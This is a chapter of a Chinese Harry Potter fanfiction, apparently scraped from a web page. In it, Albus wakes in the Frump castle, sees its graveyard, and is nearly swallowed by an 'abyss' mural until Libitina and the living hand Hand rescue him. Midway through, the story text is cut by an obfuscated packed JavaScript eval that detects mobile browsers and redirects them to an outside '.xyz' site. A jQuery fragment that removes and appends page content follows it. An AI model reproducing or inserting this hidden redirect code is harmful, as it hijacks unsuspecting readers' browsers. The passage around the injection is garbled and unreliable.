8. 深渊

作品:《HP弗朗普一家

    ***


    清晨。


    昨天不停地上山入林,一路与空气斗智斗勇,狠狠活动了一把的阿不思,带着疲惫在这张刑床上陷入沉睡——再次出乎意料,刑床上为他铺满厚厚的褥子,一床云朵般柔软的被子,从上到下包裹住阿不思饱受摧残的身心,仿佛骨骼和肉都融化成一滩。


    黑色厚重的窗帘挡住了任何一丝想闯进房间的光,昨晚忘记吹熄的蜡烛只剩下加厚的烛泪,房间里很暗,诱惑着拉向黑甜的梦境。


    但阿不思凭借往日规律的生物钟坚强地睁开了眼睛。


    坟墓般的安静,阿不思醒来时甚至有种错觉——他的灵魂和□□似乎都在不知名的黑暗某处深深休憩过,静谧又温柔的黑夜包容了阿不思一切,从未有过的轻松。


    阿不思掀开被子,极轻巧地翻身起床,站在床边左摸右摸,又直直往上伸个懒腰——身体没有任何酸痛感,舒服的不可思议!


    “Accio Wand(魔杖飞来)!”


    魔杖咻地落到阿不思手中,他握住魔杖,另一只手在魔杖上缓缓滑动,一直到底,才挥一挥魔杖,轻声念出:“Lumos(荧光闪烁)”,杖尖光晕照亮了昏暗的卧室。


    阿不思惊讶的发现,魔杖使用起来比以往更加顺畅,不,他感觉的到,魔杖简直在欢呼雀跃!


    真是神奇,阿不思闭上眼,仔细感受,魔力在血液里汩汩流动,非常——非常丰富,比昨天还要丰富更多,魔力增长了!


    震惊中的阿不思突然想起来昨晚的宴席,那碗诡异冒泡的蘑菇汤,还有...那句餐前祷告...


    “不可思议...”阿不思睁开眼,盯着手中亮起的魔杖,良久。


    “Nox(熄灭)”,房间恢复黑暗。


    阿不思走到窗前,一把拉开窗帘,突然地明亮让阿不思眯了眯眼,手掌挡在眼前缓了一会儿,才看清楚城堡外的天气——


    没有太阳,天空依旧阴沉沉,一种仿佛再过一百年也不会改变的阴郁。


    现在还是夏天,阿不思昨晚也是在戈德里克山谷附近进入森林的,明明距离应该没有多远,理应处在同一片阳光下,但在戈德里克山还十分灼热的天气,城堡这里却丝毫不受影响。


    阿不思默默记下这奇怪的一处,又探头向下,双手撑着窗框,准备观察城堡下面的布局。


    “梅林的袜子啊!”阿不思喃喃自语,“那是——墓地,好多坟茔!”


    昨天天色太暗,阿不思并没有看的太仔细,现在站在楼上向下一览无余——


    城堡前院非常宽敞,大门进来不远是那座黑山羊雕像喷泉,荆棘藤蔓圈圈缠绕在上,看荆棘茂密的样子,这座喷泉应该也不怎么使用。


    除开中间的石子走道,院子两边也没有养什么花草装饰,只有两棵烧焦似的枯树——阿不思认出来其中一盏是昨晚来接他的树灯——立在城堡大门前面,两边卷曲的枝丫还挂着两盏黑乎乎的油灯。


    空旷又光秃秃的大院子,两边却睡满了各式各样的坟墓,坟墓森林——大的小的方形圆形,什么样式的墓碑都有,除此之外,每座坟墓前都摆放着不同的雕像——不止人形,躺着站着坐着,甚至还有一张沙发,总之奇形怪状,光怪陆离。


    最明显的一位——阿不思在楼上甚至还看得很清晰——一位被砍头者,雕像头身分开,他的脸痛苦望向天空,嘴巴长得大大的,似乎无声诉说着什么。


    虽然难以置信,但阿不思脑子里第一个想法是——被砍头者在被纪念...被赞扬......


    阿不思捂住脸,没有一点想要反驳的想法,好吧,他毫不惊讶,这座城堡里的每个人(手)都会做出这种事。


    ......


    疑似同化程度过高的阿不思退回房间,走到盥洗室摸了摸昨晚顺手洗干净的衣服——就算是巫师爬山钻林衣服也脏的不成样子——阿不思忍不住痛苦呻吟一声,昨晚他竟然以这幅形象在弗朗普女士面前哭得毫无顾忌——!


    梅林的胡子啊!


    想到这里,阿不思扔魔咒的速度愈发快了,利索地甩上一打“Warming Charm(热气烘干咒)”和“Scourgify(清理一新)”,整套衣服恢复干净整洁,还带点香波味儿,阿不思这才满意地换上。


    打理好一切后,阿不思轻手轻脚打开门,门外走廊静悄悄的,几个房间的门都紧闭着——不知道是在睡梦中还是下楼了,他回身关上门,尽量没有发出声音。


    老旧的木门和地板总是会在不经意间给你唱一段长长的哀歌。


    阿不思先走到妹妹阿利安娜门口仔细听了听——没有动静,可能还没醒,阿不思想,没有打算叫醒妹妹,转身向楼梯走去。


    站在楼梯口,这里是两段长度相同的双跑式木质楼梯,阿不思被安排在二楼的房间,楼梯并不高,阶梯只是垂直向下,平铺到一楼。


    阿不思就着顶上巨大的铁艺烛台吊灯的光线,仰起头数了数,城堡是四层,顺着两边螺旋楼梯往上看,一圈一圈,越来越小的圆,直到顶上变成尖尖的高穹顶。


    其余两层是圆环状石质平台,只能依稀看见房门紧闭的未知所在——虽然好奇,但是阿不思在没有得到城堡主人的同意前,并不打算胡乱走动。


    阿不思只是看着中间高耸的穹顶,上面有许多浮雕——红眼睛的黑山羊,周围环绕着许多蝙蝠、乌鸦和荆棘——有些太过细微阿不思没办法看清楚,似乎在讲一个故事?


    阿不思揉揉眼,又重新仰头直视那只黑山羊——还是抵不过该死的好奇心,至少那个故事看清楚吧,他想,读完这个我就去院子外走走。


    这时,背后突然伸出一只苍白的手,虚虚挡在阿不思眼前,耳边也传来熟悉的冰冷声:“不可以直视深渊,不乖的小巫师。”


    不知道犯了什么忌讳的阿不思道歉:“抱歉,弗朗普女士,”阿不思缓缓转头,那只手也跳回了利比蒂纳的肩上——是Hand。


    Hand今天没有戴上那只黑色镂空蕾丝手套,露出本来的模样——五指修长惨白,修剪得尖尖的指甲上也涂着和弗朗普女士同样的颜色,鲜红欲滴。


    阿不思摸摸鼻子——离得近了,会误以为是弗朗普女士的手在到处跑。


    利比蒂纳·弗朗普,依旧是那身丧服似的黑色窄袖长裙,盖住脚面的裙摆像一朵散开的黑天鹅绒矮牵牛花,不停游动得黑发将她冰冷的脸衬得愈发惨白,依旧是一丝表情也无——虽然阿不思认为不太礼貌但对弗朗普女士可能是夸奖——比起人,此刻她更像一具艳尸。


    “早上好,弗朗普女士,早上好,Hand。”带着一丝尴尬,阿不思先和两位问好。


    利比蒂纳点头回应,“早安,阿不思。”Hand也竖起手指对阿不思比划了一个早安——阿不思猜的,那可能是手语,也许,他可以考虑多学一门语言。


    看着弗朗普女士似乎打算转身离开,阿不思踌躇间,还是问出口,“请稍等,弗朗普女士,请原谅我的冒昧,我只是想说......在观察那副壁画之前,我检查过,并没有在上面感受到任何魔法,”


    “为什么不可直视呢?”


    非常有研究精神的学者阿不思在熟悉弗朗普家之后,变得大胆很多,再加上,昨晚他也看出来,弗朗普女士似乎想成为家人中的长辈,对她眼中的孩子非常宽容,甚至是纵容。


    格兰芬多的阿不思,被誉为几十年来霍格沃茨最优秀的学生,是霍格沃茨各个老师的心尖宠儿,他对未知魔法的好奇,追寻答案的渴望是组成阿不思重要的部分。所以,在任何情况下都会毫不犹豫的汲取知识的水源——格兰芬多的勇敢(莽撞)。


    此时此刻,阿不思正面A了上去。


    弗朗普女士显然也并没有在乎他的直白,只是平平淡淡地扫过阿不思带有红晕,气色极好的脸蛋,不动声色地收回目光,抬头看看那副穹顶壁画,好似出现了什么,于是招呼阿不思:“现在——抬头看看祂吧,你会明白一切的,阿不思。”


    阿不思毫不犹豫,甚至是迫不及待地抬头仰望那片壁画。


    阿不思的眼睛对上了那双红眼睛——和刚才纯粹的静止雕刻不同,此时,黑山羊眨了眨眼睛,伴着围成圈的蝙蝠乌鸦,开始优雅漫步——阿不思好像整个灵魂都被吸入了红色深处——那是一整片漩涡,不断流动的红色——阿不思停不下来了!只能任由灵魂被裹挟,愈来愈深入......


    由


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212888|181364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红的世界升入黑的世界,黑色,到处都是黑色,那里暗的什么都看不见,似乎脑子里什么都不再想——阿不思·邓布利多所有的爱恨情仇、责任、家人、未来和理想,都被洗掉,只留下死寂般的平静——但他觉得快乐,阿不思十分乐意长眠于此......


    直到一双苍白瘦削的手从身后缓缓抱住他,一手捂住阿不思的眼睛,带着他轻飘飘地飞向上空。飞过浓郁的黑,深邃的红,在这里,恢复一点意识的阿不思全身上下都感受到了一道目光——身后有什么平静地注视他,那是一种——留下很好,离开也不阻止的极度包容——没有一丝感情的,一视同仁的冰冷目光。


    ......


    “哈——呼呼——”阿不思猛地跪倒在地,急促地大口喘息,不断往空空的肺里注入空气,紧紧攥住领口的手用力到指节发白——差一点,差一点他就真的欣然选择在那里永眠了啊!


    利比蒂纳收回手,后退一步,十指交叉置于胸前,对双腿软趴趴跪倒得阿不思慢悠悠重申:“不要凝视深渊,阿不思,还太早。”


    阿不思喘得没办法恢复,背上的Hand不断来回蹦跶,在他拱起的脊背上来回抚摸顺气,灵动的手指力度刚刚好,使得阿不思好受许多。


    Hand从阿不思毫不犹豫抬头的时候就跳上他僵硬的身体,有所准备,在阿不思腿软的一瞬间一只手拉起他的衣领,接着轻巧跳跃起来,往上扯动领子,又慢慢下放——这高难度力度把控和支撑,才让阿不思没有大清早碎裂他的膝盖,碰撞的力度也温柔起来。


    一拍一喘,一人一手合作默契,不多时,阿不思缓过气,嘶哑着声音对Hand道谢:“我没事了,Hand,谢谢......咳,不用帮我顺气了,我好了...”


    Hand这才从阿不思的背上停下,跳到阿不思头顶,大拇指为支点,四指齐齐抬起,拍了拍阿不思那颗犟牛脑袋,毫不留恋的跳到利比蒂纳的肩上。


    阿不思晃晃悠悠站起来,脑子里一片空白,整个人陷入了几秒的呆滞状态。


    “那就是深渊——非常有魅力的引领者,也是,每一位女巫沉眠之地。”,利比蒂纳带有一丝骄傲的看着穹顶正在游走的壁画,语气像极了阿不思给好友多吉推荐自己崇拜的学者时—— 一种你肯定会为TA着迷的笃定,真是该死的熟悉!


    “感到绝望了吗?不开心吗?”利比蒂纳转过头挑挑眉。


    阿不思脑子延迟几秒后,才终于开始接收信息。


    听到弗朗普女士对他的问询,阿不思不自觉又回忆起那令人忘却一切的静谧......无边无际的黑.....


    “......非常...”阿不思缓慢回答她,半梦半醒的状态,脸色也不复红润。


    弗朗普女士满意点头,“我真高兴你喜欢,阿不思。”


    “早晨的玩耍时间还有很多,”她转过身,裙摆擦过阿不思脚面,弗朗普女士缓缓走下楼梯,一边对呆愣在原地的阿不思呼唤:“来吧,早餐时间到了。”


    阿不思梦游般跟在她身后,心中一种不舍使阿不思在台阶上停下脚步,欲抬头再看看天花板,但脑子里清醒的那一半迫使阿不思停下了半抬的头,这让他以一个诡异的姿势停在楼梯口。


    “阿不思?”空荡的右手握上来一只软软的小手,阿利安娜疑惑地扯了扯呆鹅样的哥哥,抬头看他,“你在等我吗?”


    阿不思木偶般一点一点低头,无神的蓝眼睛对上阿利安娜灵动好奇的蓝眼睛,右手缓缓回握住妹妹的手,他扯了扯嘴角,温声回答她:“是的,我等到你了,阿利安娜。”


    一无所知的阿利安娜眯起眼露出一个大大的笑容,她摇了摇和哥哥牵着的手,开心道:“那我们一起去饭厅吧,我的肚子好早就咕咕叫了,阿不思,你饿了吗?”


    阿利安娜一边和哥哥叽叽咕咕,一边跳下一阶楼梯,一蹦一蹦十分活泼可爱,带着阿不思也暂时抛开头顶游动得黑山羊,专心盯着调皮的妹妹,手臂也绷得紧紧的,带着小姑娘一上一下安全到达一楼。


    我的旅程还没到那个地方——阿不思心里悄悄念道。


    ......还没到那个时候。


    *********